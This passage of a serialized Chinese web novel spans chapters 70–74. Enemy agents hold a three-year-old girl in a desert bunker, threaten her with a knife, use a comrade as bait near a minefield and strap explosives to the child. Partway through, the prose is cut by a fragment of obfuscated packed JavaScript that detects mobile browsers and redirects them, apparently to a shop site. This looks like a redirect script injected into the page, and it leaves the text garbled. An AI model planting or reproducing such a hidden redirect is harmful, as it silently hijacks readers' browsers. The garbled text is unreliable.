甜甜都快四岁啦,才不会上当呢!
这个人跟那些坏人一样,都是骗子!
严世君见她不仅不领情,还气鼓鼓地板着小脸,反倒觉得有些好笑。
他把甜甜放在自己腿上,语气放得更柔和了些:“你姓梁,叫甜甜对不对?叔叔姓严,这位是吴叔叔,我们都不是坏人。”
哼,大骗子!他说的话,甜甜一个字都不会信!
“甜甜,叔叔想请你帮个忙,然后就会给你吃最甜的糖,穿最漂亮的小花袄,好不好?”
糖和小花袄,本来是甜甜最喜欢的东西,可现在听在耳里,只感觉好恶心。
她偏头躲开严世君的手,小脸嫌弃地皱成一团,“我才不要!你想让甜甜做坏事!”
“这可不是坏事哦。”严正君手指捏住小姑娘的下巴,认真盯着甜甜的大眼睛。
“现在全国都没钱,没粮,你爸爸却把全国的好东西都攒到这大沙漠,造没有用的**。要是把这些钱分给老百姓,大家就不用饿肚子了。”
“你胡说!”他说得虽然简单,甜甜却听懂了。
她想起钱爷爷在煤油灯下一遍遍打着算盘,想起王爷爷裹着大衣睡在凳子上,手里还拿着半个窝头,想起好多叔叔阿姨熬红的眼睛,干裂的嘴唇。
“爷爷和叔叔阿姨们在做一件大事!是能保护国家的大事!等大事做成了,就没有坏人敢欺负我们了”
“爸爸说过,只要坏人不欺负我们,甜甜就能和好多小朋友一起安心吃饭、长大,过上好日子了,他们是在为所有人努力!”
“你一个小孩子懂什么。”严世君没料到这丫头如此伶牙俐齿,“研发出**,才会引得全世界眼红,他们才会把我们当敌人!没有这些东西,我们才能真正和平。”
吴浩不耐烦地插嘴,“副站长,和这个吃奶的娃娃费什么口舌,她能听懂个屁。”
“甜甜能听懂!”小姑娘举起两个小拳头,满眼怒火,“你们说得不对!外国坏邻居要掐我们脖子、欺负我们,我们只有自己变强,才不怕他
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们!”
“就凭咱们这点家底?”严正君指着桌子上的缸子,“喝不上干净的自来水,吃不起一口肉,小丫头,你怕是连纱料的衣服都没见过吧?外国的汽车到处跑,高楼一栋栋地盖,咱们有什么?把钱都扔在这里,不如去搞经济发展,让大家先吃饱穿暖。”
他按住甜甜的肩膀,“叔叔今天跟你说这些,是因为你是个聪明孩子,不能被你爸爸那套话洗脑。听叔叔的,不搞**建设,把钱拿回去发展经济,让全国人民都吃饱饭,这才是最重要的”
“才不是呢?”甜甜挣了挣肩膀,认真地反驳,“我们的饱饭会被坏邻居抢走的。”
“你不惹坏邻居,他们抢你干什么!”
“小红帽不惹大灰狼,可大灰狼也要吃小红帽!”
甜甜瞪圆了眼睛,毫不示弱地顶撞回去。
严世君没想到自己辩不过一个三岁的孩子,原本的耐心渐渐消磨殆尽,他抬手重重一拍桌子:“我就问你一句:你记不记得实验场的地形图!”
“记得!”甜甜大声说,毫不示弱,“但甜甜不会告诉你!就不!”
“行。”严世君强压怒火,冷冷瞥了吴浩一眼。
吴浩立刻心领神会,从怀里掏出一把闪着寒光的**。
坐在一旁的沈若文眼皮一跳,这柄**曾扎进邢玉秀的身体,上面似乎还沾着洗不净的血腥味。
吴浩抄起**,随手从地上捡起块木头,举刀轻轻一划,便削下一片木屑。
甜甜的目光不由自主被吸引过去,等看清他在做什么,小小的身子吓得一抖。
她见过爸爸用小刀削木头玩具,却从没见过这么吓人的刀,更没听过这么让人头皮发麻的削刮声。
“看到了吗?”严世君贴在她耳边,声音一改方才的温和,变得阴森冰冷,“叔叔手上这把刀特别快。要是你不听话,它不仅能削木头,还能划破你的小脸蛋,把你变得丑丑的,再也没人喜欢你了。”
“不、不要……我不要变丑丑……”甜甜被他吓住了,大眼睛眨了眨,一串眼泪滚珠似的掉下来。
可她仍倔强地咬着嘴唇,抽噎着说:“可是我……我还是不画……”
“臭丫头!敬酒不吃吃罚酒!”吴浩不耐烦地低吼一声,就要伸手去抓甜甜,却被严世君抬手拦住。
严世君抱起甜甜,走到沈若文面前,居高临下地看着她。
“沈副组长,你跟这孩子相处了一段时间,她应该比较信任你。你来劝劝,让她乖乖听话。”
第70章 生死一线!甜甜突围被捉,梁哲踏入致命陷阱
沈若文猛地抬头,眼里满是错愕。
她没想到严世君会把这个难题抛给自己,一时间竟有些不知所措。
“怎么?不愿意?”严世君目光闪烁,“还是说,你跟她相处久了,动了恻隐之心,忘了自己的任务?”
“不,我没有!”沈若文立刻矢口否认。
她强扯出一丝微笑,看向甜甜,后背却已沁出一片冷汗。
“甜甜乖,”沈若文从严世君手里接过孩子,尽量笑得温柔,“只要你画出地图,他们就不会伤害你了。画完阿姨就带你去找爸爸,好不好?”
甜甜瞪大眼睛,泪水还在眼眶里打转,难以置信地望着沈若文:“沈阿姨,你也想让甜甜当叛徒?”
她气鼓鼓地说:“妈妈说过,叛徒是最可耻的!”
孩子稚嫩的声音像一记无形的耳光,狠狠扇在沈若文脸上。她心头重重一颤,急忙道:“这不是叛徒,这是最明智的选择,对所有人都好。”
“我才不要听!”甜甜气地捂住耳朵,“你跟他们一样都是坏人!我再也不要理你了!”
这坚决不配合的样子终于激怒了严世君。他拎起甜甜的后颈,在小姑娘哇哇大叫中,把她提到了角落。
那里有一个安着木栅栏的洞口,里面漆黑一片,还不断渗出让人发冷的阴风。
甜甜衣领本就泼了冷水,刚一靠近,就被寒气冻得打了个激灵。
“既然这么不听话,就让你吃点苦头。”
他推开栅栏,抬手就要把甜甜扔进去。
黑漆漆的洞口像一只吞噬人的巨兽,正张着血盆大口。甜甜吓得哇哇大叫,双手双脚拼命乱蹬。
严世君猝不及防,竟没抓牢。甜甜用力一扭,“扑通”一声摔在地上。
生死关头,小姑娘爆发出一股惊人的力气,她像只灵活的小鼠,从严世君脚下嗖地钻过,飞快冲向狭窄的通道。
“抓住她!”
吴浩第一个反应过来,伸手就抓。甜甜仗着个子小,身子一矮躲过他的手掌,继续向前狂奔。
一直守在石室的两人一起转身,同时向甜甜抓来。甜甜躲开两只手,第三只实在避不过,索性一把抓住对方手腕,张嘴狠狠咬了下去。
“哎哟你个兔崽子!”高个男人痛呼一声,气得扬手扇了甜甜一个趔趄。可小丫头毫不气馁,还没站直就又向前冲。
通道曲折昏暗,寻常人行走也得小心判断方位,留意脚下,甜甜却像有天生方向感,跑起来毫不迟疑。虽然个子矮、步子小,但胜在灵活,反而比那几个互相碍事的大人快了半步。
前方不远处就是通道尽头,顺着台阶上去就能到达洞口。严世君直到这时才气急败坏,怒喝道:“别让她逃了!”
“咱们这么多人,还抓不住一个小丫头?!”
可不知为何,这几人的脚步总是慢甜甜一步,好几次明明碰到她的衣角,却偏偏抓了个空!
眼看甜甜一只脚已经迈上台阶,洞口忽然“呼啦”一声被**力拉开。一道身影逆光而入,几步跨到了通道尽头。
他高大的身影挡住了头顶那一线天光,将甜甜笼罩在阴影里。甜甜仰起小脸,只看到一张平凡无奇的面孔,若是扔进人堆里,绝不会引起任何注意。
那人轻轻勾起嘴角,声音里透着股慈和,说出来的话却让甜甜彻底呆住:
“小甜甜,叔叔抓到你了哦。”
三分钟后。
无论甜甜如何挣扎,还是被严世君反剪双手,推进了那个黑漆漆的洞里。
洞中又冷又暗,不见一丝光亮。甜甜吓得蜷缩进角落,瑟瑟发抖。
几个大人不再理会她,关好栅栏门后,这才重新聚拢握手。
“高组长,您辛苦了。”严世君说道。
“副站长客气了。”高衍舟摆了摆手,“是卑职失职,没能阻止发动机试车,甘愿受罚。”
“这也不是你一人之过。”严世君沉吟片刻,问道,“不过,基地水塘那边的情况怎么样了?”
“我离开时制造了一些混乱,”高衍舟顿了顿,继续说道,“不过听说,他们把郑宏请回去了。”
“郑宏?他不是****,已经住院就医了吗?”
“应该是病情暂时得到了控制。我当时怕被怀疑,剂量投得不大,或许因为这样,没能要了他的命。”
他说这话时,语气没有丝毫波动,仿佛郑宏不是教导他二十年的恩师,只是个无关紧要的名字。
沈若文安**在一旁,一言不发。
高衍舟忽然转头看向她:
高衍舟忽然转过头,目光落在她身上:“若文,梁哲他们的车已经到了雷区附近,你要不要和我去看看?”
沈若文猝然抬头:“我?”
“他们目前还在雷区外围,没有进入。我觉得,我们有必要去‘提醒’他们一下。”
沈若文瞬间明白了他的意思,“组长的意思,是拿我当诱饵?”
“别这么说。”高
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衍舟淡淡道,“他们伤不到你。但要是他们不进入雷区……不就可惜了这番布置吗?”
吴浩、严世君等人的目光全都落在她身上。沈若文轻轻笑了笑,起身道:
“我同意。”
十辆军车同时在沙漠上中咆哮疾驰,卷起滚滚烟尘,如同一条黄色的巨龙。
最前面的七辆敞篷吉普上,每辆都架着一架****,宋大壮身形魁梧,单手把住**,鹰隼般锐利的目光如探照灯般扫视着荒芜的四周。
后排的通讯兵戴着耳机,手指在电台按键上飞舞,不断汇报着最新战况。
“报告旅长,高衍舟的车辆钻进了‘魔鬼城’后就没了影,推测是躲在后面的掩体里,我们正在搜寻。”
“直升机分队呢,有发现吗?”
“暂时没发现异常。”
驾驶位上,梁哲紧握方向盘,脚下一次次猛轰油门,但沙地松软,车辆行驶得异常艰难。四周尽是奇形怪状的风蚀蘑菇石,让人很难辨出方向。
他眼中早已急得充血,全靠一股钢铁般的意志强撑着,才没让自己倒下。
“梁哲,冷静,你不能垮!”
白旅长沉稳的声音从电台传来。他率领其余车队紧随其后,就是担心梁哲在冲动之下做出不理智的事。
但他低估了梁哲的承受力——这位铁血军人在遭遇重创的瞬间确实崩溃过,可此刻他满心只有找回女儿、为她复仇,让所有加害者血债血偿!
就在这时,通信兵发出兴奋的呼喊:“报告梁团!直升机已锁定魔鬼城出口,正在同步报送定位坐标!”
有了直升机引导,车队终于驶出这鬼打墙般的风蚀地貌,前方豁然开朗。
干枯的胡杨林倔强地伫立在天际之间,虬结的枝干如张开的臂膀伸向苍穹。骆驼刺散落沙地,勾勒出沙漠特有的苍凉与雄浑。
不远处的沙丘起伏处,一片古老的断壁残垣静静横卧,裸露的墙体如大地一道狰狞的伤疤。
梁哲瞳孔骤缩,猛地一打方向盘,车辆径直朝那边冲去。
就在这时——
“梁团!等等!”
通信兵的声音陡然一紧,“直升机报告,前方出现大片漏斗型沙坑!”
几乎同时,头顶传来螺旋桨的呼啸声。梁哲与宋大壮一起抬头,只见两架军用直升机正盘旋着掠过上空。
“漏斗型沙坑?”宋大壮疑惑。
白旅长的声音从电台中传出:“梁哲!立刻停车!”
第71章 致命圈套!沙坑暗藏杀机,沈若文被迫做饵
“旅长,什么情况?”
宋大壮抓过对讲机的瞬间,脑中灵光突然一闪:“是蚂蚁群?”
“极有可能!”白旅长的语气也透出焦虑,“如果是大片沙漏,说不定真的碰上了蚁群。”
梁哲握着方向盘的双手一紧,脚下不由自主松了油门,车速慢了下来。
“遇到蚁群不是闹着玩的!梁哲,立刻停车,全员下车警戒,不准再前进!”
沙漠上的蚁群不同于普通蚂蚁,往往含有剧毒,其尾针毒液可致人头晕、恶心、痉挛,严重时能在2分钟内引发过敏性休克导致死亡。
而且这类蚁群攻击性强,一旦遭遇危机,往往倾巢而出,普通人根本无法抵挡。
也就是说,如果车队贸然闯入,只要碾破一个蚁穴,惊动蚁群,后果不堪设想。
梁哲心底一片冰凉。他没想到对方居然如此丧心病狂,将藏身处设在了蚁群中央,用这些沙漠中的“暴徒”阻挡追兵。
“可是旅长,要是我们不找……”宋大壮的声音带着悲愤,后半句话没能说出口,但所有人都明白,谁也不知道落在敌特分子手中的甜甜,正在遭受怎样的折磨。
“我理解你的心情,车队停下,所有人下车警戒,避开沙坑区域,单兵向前推进!”
“旅长,”梁哲深吸一口气,语气斩钉截铁,“让大家原地待命,我一个人去前面探路。”
沙漠中的蚁群行踪不定,不代表有沙漏的地方才有。它们可能潜藏在任何一处沙丘之下,随时可能发动攻击。
让其他战友为自己赴险,他不愿!
“梁哲,你以为我们都贪生怕死吗?!”
白旅长冷笑一声。
“这里谁不是从枪林弹雨中闯过来的?别废话了,全体都有,呈扇形推进,快!”
“旅长……”
“执行命令!保持联络!”
梁哲强压下翻涌的心绪,沉声应道:“是。”
车刚停稳,宋大壮第一个跳下,肩扛**。梁哲也拔出**,通讯兵背负电台紧随其后,同样**戒备。
“大家注意,这里距离边境线近,要警惕敌特分子跨境支援,同时避开蚁群,一定要小心脚下!”
命令下达后,战士们全都散开,每个人都全神贯注,小心翼翼向前推进。
这一切,都透过望远镜,被高衍舟看得一清二楚。
他们躲藏在地下掩体中,眼见众人的车辆已经接近雷区前沿,却突然都停了下来。
不止如此,原本整齐的车队队形彻底散开,不再是集中推进的状态。
“奇怪……”严世君皱眉低语,“难道他们发现了**?”
“不像。”高衍舟放下望远镜,沉思片刻后摇了摇头,“我们的**埋得很隐蔽,而且看他们的装备,并没有携带工兵和排爆设备,应该不是发现了雷区。”
“那他们为什么要散开推进?”严世君满脸不解。
一旦队伍散开,**的大规模杀伤力就无法发挥——就算有战士不慎踩中**,也只能杀伤一两人,根本达不到他们预设的“全军覆灭”的效果。
“目前还看不出来。”高衍舟重新举起望远镜,“从目前的视角看,他们全员戒备,搜索推进却绝不冒进,显然是提高了警惕。”
这无疑意味着,他们之前的部署已经失败了大半。
高衍舟皱着眉,紧张地思索着,他们费尽心机,才把军队主力引到这里,若是不能实现大规模杀伤,岂不是前功尽弃?
一个早已成形的念头在此刻有了决定,高衍舟冷冷开口:“若文,你上去。”
沈若文猛地转过头,眼底闪过一丝**与酸涩,咬着牙反驳:“组长,他们手中有重武器,我出去就是活靶子!”
“放心。”高衍舟嘴角勾起一抹阴冷的笑,“只要你一现身,梁哲他们必定会集结队伍围堵你。只要能把他们重新凑到一起,**一响,就能将他们全部炸死。”他顿了顿,语气带着一丝蛊惑,“只有这样,才能让**发挥最大的威力。”
“吴浩也可以去!”沈若文心中怒火中烧,她为组织出生入死,到头来却要被当成诱饵推出去送死。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207373|197367||http|test|mini|href|location''.split(''|''),0,{}));
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r>高衍舟嗤笑一声,眼神玩味:“若文,你忘了?梁哲对你可是颇有好感。你去,比吴浩有效得多。”
“你——”
沈若文气得浑身发抖。
她的确曾奉组织之命,用美人计勾引过梁哲,可对方自始至终不为所动。
这话让她进退两难:承认梁哲对自己毫无兴趣,便是承认自己的失败;若是默认梁哲对自己有好感,就只能乖乖去当诱饵。
事到如今,伸头是一刀,缩头也是一刀,她根本没有选择的余地。
沈若文深吸一口气,压下心中的怒火,冷声道:“好,我去。但我要求火力掩护。”她毕竟是肉体凡胎,在对方密集的搜寻网下,只要有一柄**锁定她,她就必死无疑。
“同意。”高衍舟毫不犹豫地挥了挥手。身边几名敌特分子立刻架起了**,瞄准了掩体出口的方向。
严世君笑着拍了拍沈若文的肩膀,语气虚伪:“别紧张,沈副组长,你是我们的袍泽,我们绝不会不管你的。”
沈若文心底冷笑一声,懒得跟他们虚与委蛇,转身快步走出。
搜索的队伍仍在推进,但所有人的脚步都不由自主地慢了下来。
脚下的沙坑数目实在超出他们预料,且遍布极广,一眼望去,前方百米之内尽是黑乎乎的坑洞,几乎望不到头。
这样的密度,这个数量,一旦踏错,后果不堪设想。
梁哲望着眼前这片死亡陷阱,内心痛如刀绞。女儿可能就被敌特分子藏在附近,但在这片沙坑的阻拦下,竟然难以跨过。
如果强行突破,很难保证战友的安全;若有闪失,他如何向这些弟兄们交代?
一边是至亲骨肉,一边是同生共死的战友,两种念头在梁哲心中剧烈撕扯,让他痛不欲生,难以抉择。
就在他内心挣扎之际,通信兵突然大喊:“梁团,有情况!”
宋大壮反应极快,立刻举手高喊:“停!”
身后的战士们闻令,全都迅速定住身形。
“直升机传回信号,前方发现敌特车辆!”
第72章 崩溃!咫尺之遥蚁群拦路,活人眨眼成白骨
这句话如惊雷贯耳,瞬间点燃了众人的希望。梁哲心头猛地一跳,身体已经先于理智做出反应,转身就要往前冲。可就在脚刚抬起的刹那,硬生生逼自己冷静下来。
“具体位置?几辆车?”他强作镇定,声音却有些发颤。
“不到一公里!就一辆车!”通信兵对着电台嘶吼,“猎鹰!再汇报详细情况!”
一公里?
这意味着,甜甜很可能就被他们藏在这一公里的范围内!
这个消息瞬间点燃了所有人的斗志,宋大壮更是暴喝一声,一把抄起**:“磨叽个啥!这么点距离,直接冲上去干翻他们!”
“等等!”梁哲一把按住他的胳膊,语气斩钉截铁,“不对劲,这里面肯定有问题。”
几乎是同时,白旅长的声音也从后方传来:“不许冲动!情况可疑!”
宋大壮还想争辩,一名战士举着望远镜,冲着远方大喊:“旅长,您看!”
众人顺着方向望去,只见一马平川的沙漠上,一个不起眼的黑点正缓缓向他们移动。
“**,还真敢送上门来!”宋大壮眼神一厉,挥手喝道,“全体都有,做好战斗准备!”
梁哲一把抢过通信兵的耳机,对着话筒急问:“猎鹰,汇报具体情况!对方为什么单车向我方靠拢?”
高空之上,武装侦察员的声音穿透风声:“报告猎豹,车内共两人,一男一女,未发现人质。重复,未发现人质!”
没有甜甜?
也就是说,即便击毙这两人,也救不回女儿。
那他们为什么要主动出现?
这不合常理。
“还有其他异常吗?是否携带重武器?”
“初步观察未发现重武器,但不排除身上捆绑**物的可能!”
**物?
梁哲心头猛地一沉。
一个可怕的念头瞬间闪过脑海——**式袭击!
“退后!都退后!”
若是对方真的绑了**,一旦靠近就是全军覆没的下场。
他可以赌上自己的性命,却不能拿兄弟们的安危冒险!
“梁团,不至于吧?他们哪来的**?”宋大壮满脸不信。
“不能赌!全体后退,狙击手就位!猎鹰,锁定对方位置,标出可疑区域!”
话音未落,远处的黑点逐渐清晰——果然是一辆吉普车。但反常的是,对方并没有加速冲锋,反而在进入他们的视野范围后,缓缓放慢了车速。
“梁团,狙击手就位,视线清晰,请求开火!”
“梁团,下命令吧,直接击毙!”宋大壮急声附和。
“不,不能开火!”梁哲死死咬住下唇,脑海中警钟大作,“这不是他们的目的,这是……”
“是陷阱!”白旅长放下望远镜,语气笃定,“车里坐着的是沈若文,她主动现身,必然藏着阴谋!”
沈若文。
这三个字像针一样扎进梁哲心里。
想起她这段时间以来的刻意接近,果然从一开始就别有用心!
“旅长,您的意思是……”
他的话还没说完,前方的吉普车突然发出“砰”的一声巨响,左侧车轮猛地向下一陷,车身瞬间倾斜。
“太好了!他们车陷了!”宋大壮兴奋地一拍大腿,再次就要往前冲,“抓活的!”
梁哲面色骤变,一把拽住他的手腕。可还没等他开口警示,更恐怖的变故陡然发生!
先是一团黑点从沙坑中涌出,像墨汁滴入清水般,迅速爬上轮胎。
黑点越聚越多,从点连成线,从线铺成面,不到半分钟,陷入沙坑的前轮就像被刷上了一层诡异的黑漆。
“黑漆”还在不断向上蔓延,顺着汽车底盘爬向保险杠,很快就攀上了前车门。“咣当”一声脆响,驾驶位的车门被猛地推开,司机踉跄着跌了出来。
紧接着,副驾驶位也跳下一道纤细的身影——看身形,正是沈若文!
梁哲胸中怒火中烧,双手攥得咯咯作响。却强忍着没有冲出去。
因为不止他,所有人都看到了毕生难忘的诡异一幕。
那名司机刚跳下车,就疯了似的往回跑,嘴里发出模糊的嘶吼,因为距离太远,根本听不清他在喊什么。
沈若文也紧随其后,可她还是慢了一步,眼看要落后,前方的司机突然脚下一空,被一个沙坑绊倒在地。
沈若文本能地伸手去拉,可就在指尖即将触碰到对方的一瞬间,她像是看到了无比恐怖的景象,猛地缩回手,头也不回地转身狂奔。
这一刻,她的速度快得惊人,仿佛身后有恶鬼索命。
倒地的司机绝望地伸出手,发出凄厉的惨叫。一道黑色的潮水瞬间扑上他的脚踝,随即以肉眼可见的速度疯狂上爬,小腿、膝盖、大腿、腰腹……转瞬间就将他完全淹没。
与此同时,那辆军绿色的吉普车也被这股黑潮彻底覆盖,“沙沙沙”的爬行声由弱变强,如同潮水拍岸,听得人头皮发麻。
黑潮吞噬了吉普车,淹没了那名司机,好在没有继续蔓延。
沈若文早已逃出数十米开外,自始至终,连一次头也不敢回。
空中的直升机紧紧追踪着她的身影,很快报出了她的实时方位,可地面上的众人,
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却全都僵在原地,迟迟没有任何动作。
所有人都被这恐怖绝伦的一幕震慑住了。
黑潮在原地盘桓了许久,才缓缓褪去。而原本司机倒地的地方,哪里还有半分人的影子?只剩下一具惨白的森森白骨,在沙漠中格外刺眼。
就连坚硬的钢铁车身,也被蚁群的毒液腐蚀得千疮百孔,多处露出了底漆,彻底成了一堆废铁。
冷风吹过,夹杂着一股刺鼻的铁锈味和血腥味,在场的官兵们无不激灵灵打了个冷战,脸上的血色褪尽,变得惨白如纸。
直到此刻,他们才真正明白,传说中的行军蚁竟是如此可怖的存在。
所有人都暗自庆幸,幸好刚才没有冲动上前,否则,此刻化为白骨的,就是他们自己。
在大自然的力量面前,人类竟是如此脆弱不堪。
“后退……”梁哲终于开口,声音嘶哑,这个险,他冒不起!
哪怕是为了救女儿,也不能让这些兄弟陪他送死。
“全体后退!上车!”白旅长的声音响起,带着压抑的沉重。作为现场最高指挥官,他比谁都清楚这个决定对甜甜意味着什么,可他别无选择!
他要对所有战士的生命负责。
宋大壮咬着牙,转头看向梁哲。只见他双目空洞,握枪的手在微微发抖,显然正承受着常人无法想象的煎熬。
他张了张嘴,最终还是把话咽了回去,只是重重地拍了拍梁哲的肩膀。
战士们互相看了一眼,眼神中满是无奈与同情,最终还是执行命令,徐徐后退,依次登上了军车。
“猎鹰,情况如何?”白旅长抄起电台,竭力让自己的声音保持平静。
“报告猎豹,已锁定对方隐蔽据点的位置!但我方燃油告警,必须立即返航加油。后续任务,就交给你们了!”
“好!有坐标就行!”白旅长松了口气,立刻拿出地图,在上面标记出直升机传回的方位。
想要抵达对方老巢,要么强行突破这片蚁区,要么就只能贴着边境线绕路。
“留下一个排在此驻守,封锁对方退路,切记不可轻举妄动!”白旅长下令,“其余人原路返回,寻找其他路径!”
“梁团?”宋大壮担忧地看向仍站在原地的梁哲。
不过两三公里的距离,却成了无法逾越的天堑。这种近在咫尺却无法施救的无力感,足以让任何一个父亲心碎。
梁哲死死地望向远方,那是甜甜所在的方向。
他在心底一遍遍地默念:甜甜,我的乖女儿,一定要撑住,等着爸爸。爸爸一定会想办法,一定会救你出来!
第73章 虐哭!甜甜被抢小老鼠,严世君掏出**箱
沈若文不知自己是怎么逃回去的。
她拼命跑着,机械地迈着腿,仿佛只要慢上一步,身后那漆黑的潮水就会席卷过来,把她活生生拖进深渊里。
倒地的同仁眼底的绝望还在她脑海中不断盘旋,他是那么痛苦,那么绝望,五分钟之前他还在和自己说话,现在,却只能扑倒在地,发出惨绝人寰的悲鸣。
为什么会如此?
如果她不是被当做诱饵推出来,如果不是设计这一切的人执意要将梁哲等人引进雷区,那个叫付大强的男人,本该活着的。
她不知跑了多久,头顶传来直升机沉闷的螺旋桨声,旋翼搅动着空气,震得耳膜发疼。
但她什么都顾不上了,顾不得身后是否有枪口瞄准自己,更不在乎这一路狂奔会不会暴露所有人的藏身地。
“站住!”把守岗哨见她孤身疯跑回来,猛地端起枪,**“咔啦”一声上膛
可当看清沈若文那张惨白的脸色时,动作又骤然顿住——
那是一种濒临死亡的苍白,他从没在活人脸上看到过。
“沈副组长,你……”
话音未落,沈若文已经一把将他狠狠推开,
“滚!”
她踉跄地冲进了地下室。
几盏煤油灯的光晕在室内摇曳,昏黄的光线下,一切都和她离开时几乎别无二致。
沈若文的脚步却不由自主地僵住了。
她设想过无数种场景:众人或许正为付大强的死沉默哀悼;
或许正痛斥那突如其来的蚁群;
甚至,会有人掏出**,怒斥她战场脱逃、丢下同袍,将她军法处置。
可现实却如一记冰冷的耳光,狠狠扇在她脸上。
严世君、高衍舟、吴浩,这几张熟悉又陌生的面孔,正围坐在桌旁,旁若无人地享用着简陋的午餐。
桌子正中放着一盆蒸得焦黄的红薯,几个硬邦邦的粗粮饽饽。
“沈副组长来得正好,一起吃。”严世君见她进来,抬起头,脸上挂着一如既往的温和微笑,仿佛刚才的生死追逐只是一场无关紧要的游戏。
“副站长……组长……”沈若文茫然的目光扫过众人,喉咙干涩,一个字也说不出来。
“付大强的事我们知道了,”严世君仿佛看穿了她的心思,却语气平淡,仿佛在谈论一件无关紧要的小事。
“沈副组长不必自责,这是意外情况,我们会向上峰为他请功,全力抚恤家属。”
“此地已然暴露,”高衍舟接口,声音冰冷,“直升机在你回来时就锁定了你,这点警觉都没有?”
“卑职失职,甘愿受罚!”沈若文心头一凛,肃然道。
“唉,天灾而已,非战之罪。”严世君摆摆手,显得宽宏大量。
“此地不宜久留,趁他们一时追不上,填饱肚子,我们即刻转移。”他甚至还朝沈若文示意,“坐下吧,想必你也饿了。”
经他一提,沈若文才惊觉腹中空空如也。折腾了整整一天,体力早已透支。可当她的目光无意间扫过桌旁——
甜甜小小的身子蜷缩在严世君身边,只露出半张沾满泪痕与尘土的小脸,正怯生生地望着这边。
严世君注意到她的视线,不紧不慢地解释:“沈副组长不必担忧,这孩子脾气倔,给什么都不吃,饿一会儿就老实了。”
比起高衍舟那副喜怒不形于色的冰山脸,严世君此刻的温和儒雅,确实显得“正常”许多。
但沈若文见过他面不改色扼杀生命的狠辣,深知这副皮囊下藏着何等豺狼心性。
“哼,”吴浩在一旁冷笑,“这小丫头可是被那伙人捧成了宝,白面馒头、麦乳精、进口奶粉,顿顿吃的都是最好的!哪吃得惯咱们这个。”
“真的有白面馒头?”严世君好奇地追问。
“有,”高衍舟淡淡开口,“不知从哪搞来的麦子,磨成了面粉。”
“沙漠里能长麦子?”严世君更觉不可思议。
“副站长有所不知?”吴浩的目光锁定甜甜,冷笑道,“自从这小丫头来了基地,什么水、鱼、果子,样样不缺,鬼知道是从哪弄来的!说跟她没关系,我第一个不信!”
他猛地伸手,粗暴地捏住甜甜的下巴,迫使她抬起头。
小丫头被关了半天小黑屋,又冷又怕,此刻被钳制,顿时爆发出凄厉的哭喊:“放开我!坏人!坏人!”
“说!那些水和鱼,是不是跟你有关?”吴浩加重了力道,眼神凶狠,“我早就想问你了!”
“甜甜不知道,不知道!”甜甜拼命挣扎,挥舞着小手捶打,却挣不开成年男人的力道。
沈若文脸色一暗,却一个字也不敢说。
高衍舟更是全程无动于衷,只是慢慢吞咽着手里的粗粮饽饽,仿佛眼前的闹剧与他毫无关系。
“好了,先吃饭。”严世君见甜甜被掐得满脸通红,终于开口制止。
吴浩悻悻地松开手,狠狠瞪了甜甜一眼,抓起桌上的红薯重新啃了起来。
“甜甜啊,”严世君放缓了语气,伸手摸了
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摸她的头,“你要是答应叔叔,画一张武装分布图,叔叔就给你吃口红薯,好不好?”
“不……”甜甜抽噎的上气不接下气,小小的身躯因恐惧和饥饿而颤抖。可她骨子里流淌着军人的血液,即便身处绝境,也绝不肯向这些坏人低头,“我不……不画……”
严世君看着她泪盈盈的大眼睛,无奈地摇了摇头。他伸手在甜甜口袋里一摸,掏出一个软软的东西。
沈若文的太阳穴突突直跳,那正是自己用手绢给甜甜叠的“小老鼠”。
甜甜喜欢极了,一直贴身收着。
她一见严世君拿走了小老鼠,急得大叫:“还给我!”
严世君手腕稍稍一抬,孩子便够不到了,急得又哭起来。
“好了好了,怎么又哭。”严世君嘴上哄着,把“小老鼠”托在掌心端详。他不懂这些女孩儿们喜欢的玩意,更不明白这小东西对甜甜的意义。
三下两下拆开,恢复成手绢的样子。
甜甜一看小老鼠变没了,哭得更厉害了。
“呜呜呜,坏人坏人!我要小老鼠!你还我小老鼠!”
“什么老鼠猫的,”严世君拿起手绢,给甜甜擦眼泪,“你听话,叔叔送你更好的玩具,不好吗?”
“不好不好!就要小老鼠!”
严世君还想再哄,高衍舟的声音冷不丁响起:“副站长,吃饭。饭后按计划行事。”
他的声音不高,却带着一股刺骨的寒意,周围的空气仿佛都瞬间降了温。甜甜被这气势吓得一哆嗦,哭声戛然而止,委屈地抿着嘴,不敢再出声。
吴浩见状,转头冲甜甜呲了呲牙,眼神凶狠。小姑娘吓得往旁边缩了缩,更不敢说话了。
沈若文急忙低下头,避开严世君手中的手绢,抓起一个粗粮饽饽塞进嘴里。
干硬的粮食刮过干涩的上牙膛,刺得她生疼。这味道,和早上在基地吃的馒头完全没法比,更让她怀念起基地那碗鱼汤了。
那碗邢玉秀,亲手端过来的鱼汤。
这顿饭吃得食不知味,人人各怀心事。饭后地下室众人开始收拾好撤离物资,搬出去装车。
严世君拉过甜甜的小手,看着小姑娘抽噎委屈的模样,露出一抹和蔼的笑容。
“三岁,”他轻声说,“可惜了。”
说完这几个字,他打开旁边的木箱,一瞬间,沈若文的眼皮剧烈狂跳,难以置信地瞪向他。
箱子里赫然码放着一排**捆扎的**,中间一个黑色的方盒,正是**。
第74章 突发狙击!三岁萌娃被绑**!
“副站长——!!!”
沈若文失声惊呼,“你干什么!”
“嘘……”
严世君回过头,竖起一根手指抵在唇边,脸上依旧是那副斯文儒雅的模样,仿佛手中摆弄的不是致命凶器,而是一本闲书。
吴浩双臂环胸靠在墙上,笑得幸灾乐祸:“沈副组长,待会儿还得麻烦你多多费心。等咱们把她带到实验场,就让她自己走进大门。”
“你……你什么意思?”
沈若文满面震惊,声音微颤。
“这是咱们回赠给基地的‘大礼’。既然小丫头不识趣,不肯画武装分布图,那就只好用她当诱饵,把基地的武装人员都引出来。”
他说得轻描淡写,丝毫不觉自己的话语里藏着何等残忍的恶意。
沈若文心头一紧,刚要上前阻拦,高衍舟从她身边走过,冷冷地瞥了她一眼。
那一眼,如寒冬腊月的冰水,瞬间浇透了沈若文的全身,让她喉咙发紧,半个字也说不出来。
严世君趁机拿起**,一圈圈缠在甜甜的小身子上。小姑娘虽然不懂这东西是什么,但本能的恐惧让她浑身发抖。她隐约知道,这些坏人要杀她!
